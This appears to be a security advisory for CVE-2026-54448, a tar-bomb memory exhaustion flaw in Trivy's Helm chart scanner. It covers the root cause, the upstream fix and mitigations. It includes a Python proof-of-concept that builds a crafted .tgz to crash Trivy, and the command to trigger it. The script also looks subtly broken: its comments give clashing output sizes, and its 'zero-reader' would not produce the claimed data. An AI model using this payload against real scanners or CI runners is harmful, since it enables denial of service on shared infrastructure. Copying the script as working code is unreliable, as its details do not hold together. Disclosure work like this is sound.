highCVE-2026-54448Jul 14, 2026

CVE-2026-54448: Trivy Helm Chart Tar Bomb OOM via Unbounded io.ReadAll

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Trivy's Helm chart scanner reads every archive entry into memory with no size limit, so a crafted .tgz that expands to gigabytes can crash the Trivy process and take down a CI runner.

Packagegithub.com/aquasecurity/trivy
Ecosystemgo
Affected< 0.71.0
Fixed in0.71.0

The problem

Before v0.71.0, Trivy's custom Helm `.tgz` unpacker called `io.ReadAll(tr)` on every tar entry with no per-entry or total size cap. Any `.tgz` file detected as a Helm chart triggered this path.

An attacker who can land a crafted archive in a scanned directory or container image can cause Trivy to allocate gigabytes of memory until the OS OOM killer terminates the process. In CI, that blocks the pipeline. On a shared runner it can affect co-located jobs.

Proof of concept

A working proof-of-concept for CVE-2026-54448 in github.com/aquasecurity/trivy, with the exact payload below.

python
#!/usr/bin/env python3
# Derive a Helm-shaped tar bomb that triggers io.ReadAll OOM in Trivy < 0.71.0.
# Produces a ~1 KB .tgz that decompresses to ~4 GB inside Trivy's parser.
import io, os, tarfile, gzip

BOMB_SIZE = 4 * 1024 * 1024 * 1024  # 4 GB of null bytes (compresses to ~4 MB)

# Build inner tar (chart contents) in memory
inner_buf = io.BytesIO()
with tarfile.open(fileobj=inner_buf, mode='w') as inner:
    # Chart.yaml is required for Trivy to recognise the archive as a Helm chart
    chart_yaml = b"apiVersion: v2\nname: bomb\nversion: 0.1.0\n"
    ti = tarfile.TarInfo(name="bomb/Chart.yaml")
    ti.size = len(chart_yaml)
    inner.addfile(ti, io.BytesIO(chart_yaml))

    # Huge null-filled file — gzip reduces this to kilobytes
    huge = tarfile.TarInfo(name="bomb/templates/bigfile")
    huge.size = BOMB_SIZE
    inner.addfile(huge, io.RawIOBase())  # sparse / zero-reader

inner_buf.seek(0)

# Wrap in gzip to produce the final .tgz
with gzip.open("helm-bomb.tgz", "wb", compresslevel=9) as gz:
    gz.write(inner_buf.read())

print("Created helm-bomb.tgz")
print("Place it in any directory and run: trivy config <dir>")

The root cause (CWE-789, CWE-770) is a single line in Trivy's pre-patch Helm parser: each tar entry was consumed with `io.ReadAll(tr)`, allocating the full decompressed size as a byte slice in Go's heap. Gzip's compression ratio for repeated-byte data is roughly 1000:1, so a few-kilobyte on-disk archive yields gigabytes in memory with no check in between.

The fix in commit `441251e` (PR #10718) replaced the hand-rolled tar loop entirely with `archive.LoadArchiveFiles` from the official `helm.sh/helm/v4` SDK, which enforces both per-entry and cumulative size limits before any data is read into memory. The payload above is derived from the patch diff: it constructs the minimal Helm directory structure (`Chart.yaml`) so Trivy recognises it as a chart, then adds one oversized null-filled entry that the old code would read unconditionally.

The fix

Upgrade Trivy to v0.71.0 or later. If an immediate upgrade is not possible: set a cgroup/container memory limit on the Trivy process, or use `--skip-dirs` to exclude directories containing untrusted `.tgz` files. The patched version delegates all archive extraction to `helm.sh/helm/v4`'s `archive.LoadArchiveFiles`, which applies hard size limits on every entry.

Reported by jamesgol.

References: [1][2][3][4][5][6]

Related research